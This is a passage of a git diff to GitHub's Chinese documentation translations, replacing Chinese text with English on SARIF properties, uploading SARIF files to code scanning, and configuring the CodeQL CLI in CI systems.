filter results by rule on {% data variables.product.prodname_dotcom %}. +| `ruleIndex`| **Optional.** The index of the associated rule (`reportingDescriptor` object) in the tool component `rules` array. For more information, see the [`run` object](#run-object). +| `rule`| **Optional.** A reference used to locate the rule (reporting descriptor) for this result. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). +| `level`| **Optional.** The severity of the result. This level overrides the default severity defined by the rule. {% data variables.product.prodname_code_scanning_capc %} uses the level to filter results by severity on {% data variables.product.prodname_dotcom %}. +| `message.text`| **Required.** A message that describes the result. {% data variables.product.prodname_code_scanning_capc %} displays the message text as the title of the result. Only the first sentence of the message will be displayed when visible space is limited. +| `locations[]`| **Required.** The set of locations where the result was detected up to a maximum of 10. Only one location should be included unless the problem can only be corrected by making a change at every specified location. **Note:** At least one location is required for {% data variables.product.prodname_code_scanning %} to display a result. {% data variables.product.prodname_code_scanning_capc %} will use this property to decide which file to annotate with the result. Only the first value of this array is used. All other values are ignored. +| `partialFingerprints`| **Required.** A set of strings used to track the unique identity of the result. {% data variables.product.prodname_code_scanning_capc %} uses `partialFingerprints` to accurately identify which results are the same across commits and branches. {% data variables.product.prodname_code_scanning_capc %} will attempt to use `partialFingerprints` if they exist. If you are uploading third-party SARIF files with the `upload-action`, the action will create `partialFingerprints` for you when they are not included in the SARIF file. For more information, see "[Preventing duplicate alerts using fingerprints](#preventing-duplicate-alerts-using-fingerprints)." **Note:** {% data variables.product.prodname_code_scanning_capc %} only uses the `primaryLocationLineHash`. +| `codeFlows[].threadFlows[].locations[]`| **Optional.** An array of `location` objects for a `threadFlow` object, which describes the progress of a program through a thread of execution. A `codeFlow` object describes a pattern of code execution used to detect a result. If code flows are provided, {% data variables.product.prodname_code_scanning %} will expand code flows on {% data variables.product.prodname_dotcom %} for the relevant result. For more information, see the [`location` object](#location-object). +| `relatedLocations[]`| A set of locations relevant to this result. {% data variables.product.prodname_code_scanning_capc %} will link to related locations when they are embedded in the result message. For more information, see the [`location` object](#location-object). -### `location` 对象 +### `location` object -编程构件中的位置，例如仓库中的文件或在构建过程中生成的文件。 +A location within a programming artifact, such as a file in the repository or a file that was generated during a build. -| 名称 | 描述 | -| --------------------------- | ----------------------------------------------------------------------- | -| `location.id` | **可选。**用于在单个结果对象中区分此位置与所有其他位置的唯一标识符。 | -| `location.physicalLocation` | **必选。**标识构件和区域。 更多信息请参阅 [`physicalLocation`](#physicallocation-object)。 | -| `location.message.text` | **可选。**与位置相关的消息。 | +| Name | Description | +|----|----| +| `location.id` | **Optional.** A unique identifier that distinguishes this location from all other locations within a single result object. +| `location.physicalLocation` | **Required.** Identifies the artifact and region. For more information, see the [`physicalLocation`](#physicallocation-object). +| `location.message.text` | **Optional.** A message relevant to the location. -### `physicalLocation` 对象 +### `physicalLocation` object -| 名称 | 描述 | -| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `artifactLocation.uri` | **必选。**表示构件位置的 URI，通常是仓库中或在构建期间生成的文件。 如果 URI 是相对的，它应相对于正在分析的 {% data variables.product.prodname_dotcom %} 仓库的根目录。 例如，main.js 或 src/script.js 相对于仓库的根目录。 如果 URI 是绝对的，则 {% data variables.product.prodname_code_scanning %} 可使用 URI 检出构件并匹配仓库中的文件。 例如，`https://github.com/ghost/example/blob/00/src/promiseUtils.js`。 | -| `region.startLine` | **必选。**区域中第一个字符的行号。 | -| `region.startColumn` | **必选。**区域中第一个字符的列编号。 | -| `region.endLine` | **必选。**区域中最后一个字符的行号。 | -| `region.endColumn` | **必选。**区域结束后字符的列编号。 | +| Name | Description | +|----|----| +| `artifactLocation.uri`| **Required.** A URI indicating the location of an artifact, usually a file either in the repository or generated during a build. If the URI is relative, it should be relative to the root of the {% data variables.product.prodname_dotcom %} repository being analyzed. For example, main.js or src/script.js are relative to the root of the repository. If the URI is absolute, {% data variables.product.prodname_code_scanning %} can use the URI to checkout the artifact and match up files in the repository. For example, `https://github.com/ghost/example/blob/00/src/promiseUtils.js`. +| `region.startLine` | **Required.** The line number of the first character in the region. +| `region.startColumn` | **Required.** The column number of the first character in the region. +| `region.endLine` | **Required.** The line number of the last character in the region. +| `region.endColumn` | **Required.** The column number of the character following the end of the region. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -### `runAutomationDetails` 对象 +### `runAutomationDetails` object -`runAutomationDetails` 对象包含指定运行身份的信息。 +The `runAutomationDetails` object contains information that specifies the identity of a run. {% note %} -**注意：** `runAutomationDetails` 是一个 SARIF v2.1.0 对象。 如果您使用的是 {% data variables.product.prodname_codeql_cli %}，则可以指定要使用的 SARIF 版本。 `runAutomationDetails` 的等效对象是 `.automationId`（对于 SARIF v1）和 `.automationLogicalId`（对于 SARIF v2）。 +**Note:** `runAutomationDetails` is a SARIF v2.1.0 object. If you're using the {% data variables.product.prodname_codeql_cli %}, you can specify the version of SARIF to use. The equivalent object to `runAutomationDetails` is `.automationId` for SARIF v1 and `.automationLogicalId` for SARIF v2. {% endnote %} -| 名称 | 描述 | -| ---- | ------------------------------------------------------------------------- | -| `id` | **可选。**用于识别分析类别和运行 ID 的字符串。 如果您想要为同一工具上传多个 SARIF 文件，但在不同语言或代码的不同部分执行，请使用。 | +| Name | Description | +|----|----| +| `id`| **Optional.** A string that identifies the category of the analysis and the run ID. Use if you want to upload multiple SARIF files for the same tool and commit, but performed on different languages or different parts of the code. | -使用 `runAutomationDetails` 对象是可选的。 +The use of the `runAutomationDetails` object is optional. -`id` 字段可以包含分析类别和运行 ID。 我们不使用 `id` 字段运行的 ID 部分，但会存储它。 +The `id` field can include an analysis category and a run ID. We don't use the run ID part of the `id` field, but we store it. -使用类别来区分同一工具或提交的多次分析，但是在不同语言或代码的不同部分进行。 使用运行 ID 来识别分析的特定运行，例如分析的运行日期。 +Use the category to distinguish between multiple analyses for the same tool or commit, but performed on different languages or different parts of the code. Use the run ID to identify the specific run of the analysis, such as the date the analysis was run. -`id` 解释为 `category/run-id`。 如果 `id` 不包含正向斜杠 (`/`)，然后整个字符串是 `run_id` 且 `category` 为空。 否则，`category` 是字符串中直到最后一个正向斜杠的所有字符，`run_id` 是后面的所有字符。 +`id` is interpreted as `category/run-id`. If the `id` contains no forward slash (`/`), then the entire string is the `run_id` and the `category` is empty. Otherwise, `category` is everything in the string until the last forward slash, and `run_id` is everything after. -| `id` | 分类 | `run_id` | -| ---------------------------- | ----------------- | --------------------- | -| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 2021-02-01 | -| my-analysis/tool1/ | my-analysis/tool1 | _no `run-id`_ | -| my-analysis for tool1 | _no category_ | my-analysis for tool1 | +| `id` | category | `run_id` | +|----|----|----| +| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 2021-02-01 +| my-analysis/tool1/ | my-analysis/tool1 | _no `run-id`_ +| my-analysis for tool1 | _no category_ | my-analysis for tool1 -- `id` 为 "my-analysis/tool1/2021-02-01" 的运行属于类别 "my-analysis/tool1"。 据推测，这是从 2021 年 2 月 2 日开始运行。 -- `id` 为 "my-analysis/tool1/" 的运行属于类别 "my-analysis/tool1"，但未与该类别中的其他运行区分。 -- `id` 为 "my-analysis for tool1" 的运行具有唯一的标识符，但无法推断属于任何类别。 +- The run with an `id` of "my-analysis/tool1/2021-02-01" belongs to the category "my-analysis/tool1". Presumably, this is the run from February 2, 2021. +- The run with an `id` of "my-analysis/tool1/" belongs to the category "my-analysis/tool1" but is not distinguished from other runs in that category. +- The run whose `id` is "my-analysis for tool1 " has a unique identifier but cannot be inferred to belong to any category. -有关 `runAutomationDetails` 对象和 `id` 字段的更多信息，请参阅 OASIS 文档中的 [runAutomationDetails 对象](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479)。 +For more information about the `runAutomationDetails` object and the `id` field, see [runAutomationDetails object](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479) in the OASIS documentation. -请注意，将忽略其余支持的字段。 +Note that the rest of the supported fields are ignored. {% endif %} -## SARIF 输出文件示例 +## SARIF output file examples -这些示例 SARIF 输出文件显示支持的属性和示例值。 +These example SARIF output files show supported properties and example values. -### 具有最少必需属性的示例 +### Example with minimum required properties -此 SARIF 输出文件的示例值显示了 {% data variables.product.prodname_code_scanning %} 结果正常运行所需的最少属性。 如果您删除任何属性或不包含值，此数据将无法正确显示或在 {% data variables.product.prodname_dotcom %} 上同步。 +This SARIF output file has example values to show the minimum required properties for {% data variables.product.prodname_code_scanning %} results to work as expected. If you remove any properties or don't include values, this data will not be displayed correctly or sync on {% data variables.product.prodname_dotcom %}. ```json { @@ -242,9 +241,9 @@ SARIF（数据分析结果交换格式）是定义输出文件格式的 [OASIS } ``` -### 显示所有支持的 SARIF 属性的示例 +### Example showing all supported SARIF properties -此 SARIF 输出文件的示例值显示了 {% data variables.product.prodname_code_scanning %} 的所有受支持 SARIF 属性。 +This SARIF output file has example values to show all supported SARIF properties for {% data variables.product.prodname_code_scanning %}. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ```json diff --git a/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md index e0752b9930..96fc77dae0 100644 --- a/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md +++ b/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md @@ -1,6 +1,6 @@ --- -title: 将 SARIF 文件上传到 GitHub -shortTitle: 上传 SARIF 文件 +title: Uploading a SARIF file to GitHub +shortTitle: Upload a SARIF file intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}' permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.' product: '{% data reusables.gated-features.code-scanning %}' @@ -24,50 +24,49 @@ topics: - CI - SARIF --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} {% data reusables.code-scanning.deprecation-codeql-runner %} -## 关于 {% data variables.product.prodname_code_scanning %} 的 SARIF 文件上传 +## About SARIF file uploads for {% data variables.product.prodname_code_scanning %} -{% data variables.product.prodname_dotcom %} 使用静态分析结果交换格式 (SARIF) 文件中的信息创建 {% data variables.product.prodname_code_scanning %} 警报。 SARIF 文件可通过在用于上传文件的 {% data variables.product.prodname_actions %} 工作流程中运行的 SARIF 兼容分析工具生成。 或者，当文件生成为仓库外部的构件时， 您可以直接将 SARIF 文件推送到仓库，并使用工作流程上传 SARIF 文件。 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)”。 +{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -您可以使用许多静态分析安全测试工具来生成 SARIF 文件，包括 {% data variables.product.prodname_codeql %}。 结果必须使用 SARIF 版本 2.1.0。 更多信息请参阅“[{% data variables.product.prodname_code_scanning %} 的 SARIF 支持](/code-security/secure-coding/sarif-support-for-code-scanning)”。 +You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." -您可以使用 {% data variables.product.prodname_actions %}、{% data variables.product.prodname_code_scanning %} API、{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}{% data variables.product.prodname_codeql_cli %}、{% endif %}或 {% data variables.product.prodname_codeql_runner %} 上传结果。 最佳上传方法将取决于您如何生成 SARIF 文件，例如，如果您使用： +You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API, {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}the {% data variables.product.prodname_codeql_cli %}, {% endif %}or the {% data variables.product.prodname_codeql_runner %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: -- {% data variables.product.prodname_actions %} 来运行 {% data variables.product.prodname_codeql %} 操作，则无需进一步操作。 {% data variables.product.prodname_codeql %} 操作在完成分析后自动上传 SARIF 文件。 -- "[管理工作流程运行](/actions/configuring-and-managing-workflows/managing-a-workflow-run#viewing-your-workflow-history)" {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} - - {% data variables.product.prodname_codeql_cli %} 在 CI 系统中运行 {% data variables.product.prodname_code_scanning %}，您可以使用 CLI 将结果上传到 {% data variables.product.prodname_dotcom %}（更多信息请参阅“[在 CI 系统中安装 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)”）。{% endif %} -- {% data variables.product.prodname_dotcom %} 将在仓库中显示来自上传的 SARIF 文件的 {% data variables.product.prodname_code_scanning %} 警报。 如果您阻止自动上传，在准备上传结果时可以使用 `upload` 命令（更多信息请参阅“[在 CI 系统中运行 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)”）。 -- 作为仓库外部构件生成结果的工具，您可以使用 {% data variables.product.prodname_code_scanning %} API 上传文件（更多信息请参阅“[将分析作为 SARIF 数据上传](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)”）。 +- {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis. +- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} + - The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% endif %} +- The {% data variables.product.prodname_codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"). +- A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). {% data reusables.code-scanning.not-available %} -## 通过 {% data variables.product.prodname_actions %} 上传 {% data variables.product.prodname_code_scanning %} 分析 +## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %} -要将第三方 SARIF 文件上传到 {% data variables.product.prodname_dotcom %}，需要 {% data variables.product.prodname_actions %} 工作流程。 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 +To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -您的工作流需要使用 `upload-sarif` 操作，该操作包含可用于配置上传的输入参数。 它包含可用于配置上传的输入参数。 您将要使用的主要输入参数是 `sarif-file`，它会配置要上传的文件或 SARIF 文件的目录。 目录或文件路径相对于仓库的根目录。 更多信息请参阅 [`upload-sarif` 操作](https://github.com/github/codeql-action/tree/HEAD/upload-sarif)。 +Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameter you'll use is `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository. For more information see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/HEAD/upload-sarif). -`upload-sarif` 操作可配置为在 `push` and `scheduled` 事件发生时运行。 有关 {% data variables.product.prodname_actions %} 事件的更多信息，请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)”。 +The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -如果您的 SARIF 文件不含 `partialFingerprints`，则 `upload-sarif` 操作将为您计算 `partialFingerprints` 字段，并尝试防止重复警报。 {% data variables.product.prodname_dotcom %} 仅当仓库同时包含 SARIF 文件和静态分析中使用的源代码时才能创建 `partialFingerprints`。 有关防止重复警报的更多信息，请参阅“[关于代码扫描的 SARIF 支持](/code-security/secure-coding/sarif-support-for-code-scanning#preventing-duplicate-alerts-using-fingerprints)”。 +If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see "[About SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning#preventing-duplicate-alerts-using-fingerprints)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -### 在存储库外部生成的 SARIF 文件的工作流程示例 +### Example workflow for SARIF files generated outside of a repository -您可以创建一个新的工作流程，以在将 SARIF 文件提交到仓库后上传它们。 这在 SARIF 文件生成为仓库外部的构件时很有用。 +You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository. -只要提交被推送到仓库，此示例工作流程就会运行。 该操作使用 `partialFingerprints` 属性来确定是否发生了更改。 除了推送提交时运行之外，工作流程还预定每周运行一次。 更多信息请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)”。 +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -此工作流上传位于仓库根目录中的 `results.sarif` 文件。 有关创建工作流程文件的更多信息，请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 +This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -或者，您也可以修改此工作流程以上传 SARIF 文件的目录。 例如，您可以将所有 SARIF 文件放在仓库根目录中的 `sarif-output` 目录中，并将操作的输入参数 `sarif_file` 设置为 `sarif-output`。 +Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. ```yaml name: "Upload SARIF" @@ -95,13 +94,13 @@ jobs: sarif_file: results.sarif ``` -### 运行 ESLint 分析工具的示例工作流程 +### Example workflow that runs the ESLint analysis tool -如果将第三方 SARIF 文件生成为持续集成 (CI) 工作流程的一部分，您可以将 `upload-sarif` 操作添加为运行 CI 测试后的一个步骤。 如果您还没有 CI 工作流程，可以使用 {% data variables.product.prodname_actions %} 模板创建一个。 更多信息请参阅“[{% data variables.product.prodname_actions %} 快速入门](/actions/quickstart)”。 +If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)." -只要提交被推送到仓库，此示例工作流程就会运行。 该操作使用 `partialFingerprints` 属性来确定是否发生了更改。 除了推送提交时运行之外，工作流程还预定每周运行一次。 更多信息请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)”。 +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -工作流程显示了将 ESLint 静态分析工具作为工作流程中一个步骤运行的示例。 `Run ESLint` 步骤运行 ESLint 工具，输出 `results.sarif` 文件。 然后，工作流程使用 `upload-sarif` 操作将 `results.sarif` 文件上传到 {% data variables.product.prodname_dotcom %}。 有关创建工作流程文件的更多信息，请参阅“[GitHub Actions 简介](/actions/learn-github-actions/introduction-to-github-actions)”。 +The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)." ```yaml name: "ESLint analysis" @@ -133,10 +132,10 @@ jobs: sarif_file: results.sarif ``` -## 延伸阅读 +## Further reading -- "[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions)" -- "[查看工作流程历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)"{%- ifversion fpt or ghes > 3.0 or ghae-next %} -- "[关于 CI 系统中的 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"{% else %} -- "[在 CI 系统中运行 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} -- “[将分析作为 SARIF 数据上传](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)” +- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" +- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)"{%- ifversion fpt or ghes > 3.0 or ghae-next %} +- "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"{% else %} +- "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} +- "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" diff --git a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md index ca2f5fb181..8d71a5fd2e 100644 --- a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md +++ b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: 在 CI 系统中配置 CodeQL CLI -shortTitle: 配置 CodeQL CLI -intro: '您可以配置持续集成 系统以运行{% data variables.product.prodname_codeql_cli %}，执行 {% data variables.product.prodname_codeql %} 分析，并将结果上传到 {% data variables.product.product_name %} 以显示为 {% data variables.product.prodname_code_scanning %} 警报。' +title: Configuring CodeQL CLI in your CI system +shortTitle: Configure CodeQL CLI +intro: 'You can configure your continuous integration system to run the {% data variables.product.prodname_codeql_cli %}, perform {% data variables.product.prodname_codeql %} analysis, and upload the results to {% data variables.product.product_name %} for display as {% data variables.product.prodname_code_scanning %} alerts.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -22,39 +22,38 @@ topics: - CI - SARIF --- - {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## 关于使用 {% data variables.product.prodname_codeql_cli %} 生成代码扫描结果 +## About generating code scanning results with {% data variables.product.prodname_codeql_cli %} -一旦您在 CI 系统中提供了 {% data variables.product.prodname_codeql_cli %} 服务器， 并确保他们可以通过 {% data variables.product.product_name %} 进行身份验证，便可生成数据。 +Once you've made the {% data variables.product.prodname_codeql_cli %} available to servers in your CI system, and ensured that they can authenticate with {% data variables.product.product_name %}, you're ready to generate data. -您使用三个不同的命令生成结果并将它们上传到 {% data variables.product.product_name %}： +You use three different commands to generate results and upload them to {% data variables.product.product_name %}: {% ifversion fpt or ghes > 3.1 or ghae or ghec %} -1. `database create` 以创建 {% data variables.product.prodname_codeql %} 数据库，以代表仓库中每种支持的编程语言的层次结构。 -2. `database analyze` 以运行查询，以分析每个 {% data variables.product.prodname_codeql %} 数据库，并在 SARIF 文件中概括结果。 -3. `github upload-results` 将结果的 SARIF 文件上传到结果匹配分支或拉请求的 {% data variables.product.product_name %}，并显示为 {% data variables.product.prodname_code_scanning %} 警报。 +1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of each supported programming language in the repository. +2. ` database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. +3. `github upload-results` to upload the resulting SARIF files to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. {% else %} -1. `database create` 以创建 {% data variables.product.prodname_codeql %} 数据库，以代表仓库中支持的编程语言的层次结构。 -2. `database analyze` 以运行查询，以分析 {% data variables.product.prodname_codeql %} 数据库，并在 SARIF 文件中概括结果。 -3. `github upload-results` 将结果的 SARIF 文件上传到结果匹配分支或拉请求的 {% data variables.product.product_name %}，并显示为 {% data variables.product.prodname_code_scanning %} 警报。 +1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of a supported programming language in the repository. +2. ` database analyze` to run queries to analyze the {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. +3. `github upload-results` to upload the resulting SARIF file to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. {% endif %} -您可以显示任何命令的命令行帮助：使用 `--help` 选项. +You can display the command-line help for any command using the `--help` option. {% data reusables.code-scanning.upload-sarif-ghas %} -## 创建 {% data variables.product.prodname_codeql %} 数据库进行分析 +## Creating {% data variables.product.prodname_codeql %} databases to analyze -1. 检出要分析的代码： - - 对于分支，请检出要分析的分支的头部。 - - 对于拉取请求，请检出拉取请求的头部提交，或检出 {% data variables.product.prodname_dotcom %} 生成的拉取请求的合并提交。 -2. 设置代码库的环境，确保任何依赖项都可用。 更多信息请参阅 {% data variables.product.prodname_codeql_cli %} 文档中的[为非编译语言创建数据库](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages)和[为编译语言创建数据库](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages)。 -3. 查找代码库的生成命令（如果有）。 这通常在 CI 系统的配置文件中可用。 -4. 从仓库的检出根目录运行 `codeql database create` 并构建代码库。 +1. Check out the code that you want to analyze: + - For a branch, check out the head of the branch that you want to analyze. + - For a pull request, check out either the head commit of the pull request, or check out a {% data variables.product.prodname_dotcom %}-generated merge commit of the pull request. +2. Set up the environment for the codebase, making sure that any dependencies are available. For more information, see [Creating databases for non-compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) and [Creating databases for compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) in the documentation for the {% data variables.product.prodname_codeql_cli %}. +3. Find the build command, if any, for the codebase. Typically this is available in a configuration file in the CI system. +4. Run `codeql database create` from the checkout root of your repository and build the codebase. {% ifversion fpt or ghes > 3.1 or ghae or ghec %} ```shell # Single supported language - create one CodeQL databsae @@ -71,147 +70,24 @@ topics: {% endif %} {% note %} - **注：**如果使用容器化构建，您需要在进行构建任务的容器内运行 {% data variables.product.prodname_codeql_cli %}。 + **Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_cli %} inside the container where your build task takes place. {% endnote %} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                    - 选项 - - 必选 - - 用法 -
                    - <database> - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定要为 {% data variables.product.prodname_codeql %} 数据库创建的目录的名称和位置。 如果您试图覆盖现有目录，命令将失败。 如果您也指定 --db-cluster, 这是上级目录，并为分析的每种语言创建一个子目录。 -
                    - `--language` - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定用于创建数据库的语言标识符：{% data reusables.code-scanning.codeql-languages-keywords %} (使用 javascript 分析TypeScript 代码)。 -
                    - {% ifversion fpt or ghes > 3.1 or ghae or ghec %}当使用 `--db-cluster`时，该选项接受逗号分隔的列表，或者可以指定多次。{% endif %} - - -
                    - `--command` - - - 推荐。 用于指定调用代码库生成过程的生成命令或脚本。 命令从当前文件夹或指定的位置运行 `--source-root`. 不需要用于 Python 和 JavaScript/TypeScript 分析。 -
                    - {% ifversion fpt or ghes > 3.1 or ghae or ghec %} - - -
                    - `--db-cluster` - - - 可选. 在多语言代码库中为指定的每种语言生成一个数据库 `--language`. -
                    - `--no-run-unnecessary-builds` - - - 推荐。 用于抑制 {% data variables.product.prodname_codeql_cli %} 不需要监视生成的语言的生成命令（例如，Python 和 JavaScript/TypeScript）。 -
                    - {% endif %} - - -
                    - `--source-root` - - - 可选. 适用于在仓库的检出根目录之外运行 CLI 的情况。 默认情况下，database create 命令假设当前目录为源文件的根目录，使用此选项可指定不同的位置。 -
